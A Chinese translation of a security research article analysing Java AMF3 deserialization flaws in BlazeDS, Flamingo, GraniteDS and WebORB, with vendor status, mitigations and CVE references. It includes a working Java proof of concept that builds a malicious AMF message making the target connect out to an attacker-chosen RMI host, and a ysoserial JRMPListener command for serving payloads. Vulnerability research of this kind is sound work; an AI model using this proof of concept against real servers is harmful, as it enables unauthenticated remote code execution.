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【技术分享】Java AMF3 反序列化漏洞分析

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写在前面的话


AMF(Action Message Format)是一种二进制序列化格式,之前主要是Flash应用程序在使用这种格式。近期,Code White发现有多个Java AMF库中存在漏洞,而这些漏洞将导致未经身份验证的远程代码执行。由于AMF目前已经得到了广泛的使用,因此可能会有多家厂商的产品将受到这些漏洞的影响,例如Adobe、Atlassian、HPE、SonicWall和VMware等等。

目前,漏洞相关信息已上报至美国CERT(详情请参考美国CERT VU#307983


概述


目前,Code White主要对以下几种热门的Java AMF实现:

Flex BlazeDS by Adobe 

Flex BlazeDS by Apache

Flamingo AMF Serializer by Exadel (已停更)

GraniteDS (已停更)

WebORB for Java by Midnight Coders

而这些又存在着下面列出的一个或多个漏洞:

XML外部实体注入(XXE)

任意对象创建及属性设置

通过RMI实现Java序列化


漏洞影响


简而言之,任意远程攻击者如果能够欺骗并控制服务器的通信连接,那么他将有可能向目标主机发送能够执行任意代码的序列化Java对象,当该对象在目标主机中进行反序列化之后,恶意代码将会被执行。

前两个漏洞并不是新漏洞,但是目前仍然有很多库存在这样的漏洞。除此之外,研究人员也发现了一种能够将这种设计缺陷转换成Java序列化漏洞的方法。

http://p1.qhimg.com/t013d7d0d48e3e01a8a.png

我们将会对上述漏洞(除了XXE)进行详细描述,如果你想了解关于这个XXE漏洞的详细内容,请参考我们之前所发表的一篇文章《CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty》。


介绍


AMF3(Action Message Format version 3)同样是一种二进制信息编码格式,它也是Flash应用在与后台交互时主要使用的一种数据格式。与JSON类似,它支持不同的数据类型。考虑到向后兼容性,AMF3实际上算是AMF的一种拓展实现,并且引入了新的对象类型。

AMF3对象的新功能可以归结为两种新增加的特性,而这两种新特性(dynamic和externalizable)描述了对象是如何进行序列化操作的:

Dynamic:一个声明了动态特性的类实例;公共变量成员可以在程序运行时动态添加(或删除)到实例中。

Externalizable:实现flash.utils.IExternalizable并完全控制其成员序列化的类实例。

注:具体请参考Adobe官方给出的解释【传送门】。


Dynamic特性


我们可以拿Dynamic特性与JavaBeans的功能进行对比:它允许我们通过类名及属性来创建一个对象。实际上,很多JavaBeans实体目前已经实现了这种技术,例如java.beans.Introspector、Flamingo、Flex BlazeDS和WebORB等等。

但需要注意的是,这种功能将会导致一种可利用的漏洞产生。实际上,Wouter Coekaerts早在2011年就已经将这种存在于AMF实现中的漏洞曝光了,并且还在2016年发布了相应漏洞的利用代码及PoC。


Externalizable特性


我们可以拿Externalizable特性赖于Java的java.io.Externalizable接口进行对比。实际上,很多厂商早就已经将flash.utils.IExternalizable接口的规范进行了调整,其实它与Java的java.io.Externalizable区别不大,这种特性将允许我们可以高效地对实现了java.io.Externalizable接口的类进行重构。

java.io.Externalizable接口定义了两个方法:即readExternal(java.io.ObjectInput)和writeExternal(java.io.ObjectInput),而这两个方法将允许java类完全控制序列化以及反序列化操作。这也就意味着,在程序的运行过程中不存在默认的序列化/反序列化行为以及有效性检测。因此,相对于java.io.Serializable来说,我们使用java.io.Externalizable来实现序列化/反序列化则更加的简单和高效。


将EXTERNALIZABLE.READEXTERNAL转换为OBJECTINPUTSTREAM.READOBJECT


在OpenJDK 8u121中总共有十五个类实现了java.io.Externalizable接口,而其中绝大多数类的任务仅仅是重构一个对象的状态而已。除此之外,实际传递给Externalizable.readExternal(java.io.ObjectInput)方法的java.io.ObjectInput实例也并非java.io.ObjectInputStream的实例。

在这十五个类中,那些与RMI有关的类则吸引了我们的注意。尤其是sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2,因为他们会通过sun.rmi.transport.LiveRef.read(ObjectInput, boolean)方法来对sun.rmi.transport.LiveRef对象进行重构。除此之外,这个方法还会重构一个sun.rmi.transport.tcp.TCPEndpoint对象以及一个本地sun.rmi.transport.LiveRef对象,并且在sun.rmi.transport.DGCClient中进行注册。其中,DGCClient负责实现客户端的RMI分布式垃圾回收系统。DGCClient的外部接口为“registerRefs”方法,当一个LiveRef的远程对象需要进入虚拟机系统时,它需要在DGCClient中进行注册。关于DGCClient的更多内容请参考OpenJDK给出的官方文档【传送门】。

根据官方文档中的描述,LiveRef的注册是由一次远程调用完成的,而我们觉得这里将有可能允许我们通过RMI来实现远程代码执行(RCE)!

在对这次调用进行了追踪分析之后,我们发现整个调用过程非常复杂,它涉及到Externalizable.readExternal、sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2、ObjectInputStream.readObject以及sun.rmi.transport.StreamRemoteCall.executeCall()等多种对象及方法。

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接下来让我们来看看,如果我们通过一个sun.rmi.server.UnicastRef对象来对一条AMF消息进行反序列化的话会出现什么情况,相关代码如下所示(利用了Flex BlazeDS):

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.ActionContext;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.amf.AmfMessageDeserializer;
import flex.messaging.io.amf.AmfMessageSerializer;
import flex.messaging.io.amf.MessageBody;
public class Amf3ExternalizableUnicastRef {
public static void main(String[] args) throws IOException, ClassNotFoundException {
if (args.length < 2 || (args.length == 3 && !args[0].equals("-d"))) {
System.err.println("usage: java -jar " + Amf3ExternalizableUnicastRef.class.getSimpleName() + ".jar [-d] <host> <port>");
return;
}
boolean doDeserialize = false;
if (args.length == 3) {
doDeserialize = true;
args = Arrays.copyOfRange(args, 1, args.length);
}
// generate the UnicastRef object
Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
// serialize object to AMF message
byte[] amf = serialize(unicastRef);
// deserialize AMF message
if (doDeserialize) {
deserialize(amf);
} else {
System.out.write(amf);
}
}
public static Object generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}
public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
ByteArrayInputStream in = new ByteArrayInputStream(amf);
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
deserializer.readMessage(new ActionMessage(), new ActionContext());
}
}

为了证实代码能够正常运行,我们首先设置了一个监听器,然后看一看链接是否能够成功建立。

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此时,我们成功地与客户端建立了一条通信连接,而且使用的还是Java RMI传输协议


漏洞利用


实际上,jacob Baines早在2016年就已经将这项技术(反序列化黑名单绕过)公之于众了,但是我并不确定当时他是否知道这种技术同样还会将任意的Externalizable.readExternal对象转换为ObjectInputStream.readObject对象。除此之外,他当时还介绍了一个可以发送任意Payload的JRMP监听器:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener ...

厂商产品影响情况


Vendor Status Date Notified Date Updated
Adobe Affected 28 Mar 2017 03 Apr 2017
Apache Software Foundation Affected 28 Mar 2017 06 Apr 2017
Atlassian Affected 28 Mar 2017
Exadel Unknown 28 Mar 2017 28 Mar 2017
Granite Data Services Unknown 16 Mar 2017 16 Mar 2017
Hewlett Packard Enterprise Unknown 28 Mar 2017 28 Mar 2017
Midnight Coders Unknown 16 Mar 2017 03 Apr 2017
Pivotal Unknown 28 Mar 2017 28 Mar 2017
SonicWall Unknown 28 Mar 2017 28 Mar 2017
VMware Unknown 16 Mar 2017 16 Mar 2017


缓解方案


首先,使用了Adobe或Apache实现的应用程序应该尽快将Apache更新至最新版本(v4.7.3)。其次,Exadel目前已经停止对他的代码库进行维护了,所以使用了Flamingo AMF Serializer的用户不会再收到更新推送了。不过目前对于GraniteDS和WebORB还没有合适的解决方案。


参考资料


http://codewhitesec.blogspot.com/2017/04/amf.html 

http://openjdk.java.net/jeps/290 

http://www.kb.cert.org/vuls/id/279472 

http://www.adobe.com/go/amfspec 

https://cwe.mitre.org/data/definitions/502.html 

https://cwe.mitre.org/data/definitions/913.html 

https://cwe.mitre.org/data/definitions/611.html 


其他信息


CVE ID:

CVE-2015-3269、CVE-2016-2340、CVE-2017-5641、CVE-2017-5983、CVE-2017-3199、CVE-2017-3200、CVE-2017-3201、CVE-2017-3202、CVE-2017-3203、CVE-2017-3206、CVE-2017-3207、CVE-2017-3208

公开日期:2017年4月4日

最新更新日期:2017年4月4日

文档版本:73


原文链接:https://codewhitesec.blogspot.it/2017/04/amf.html

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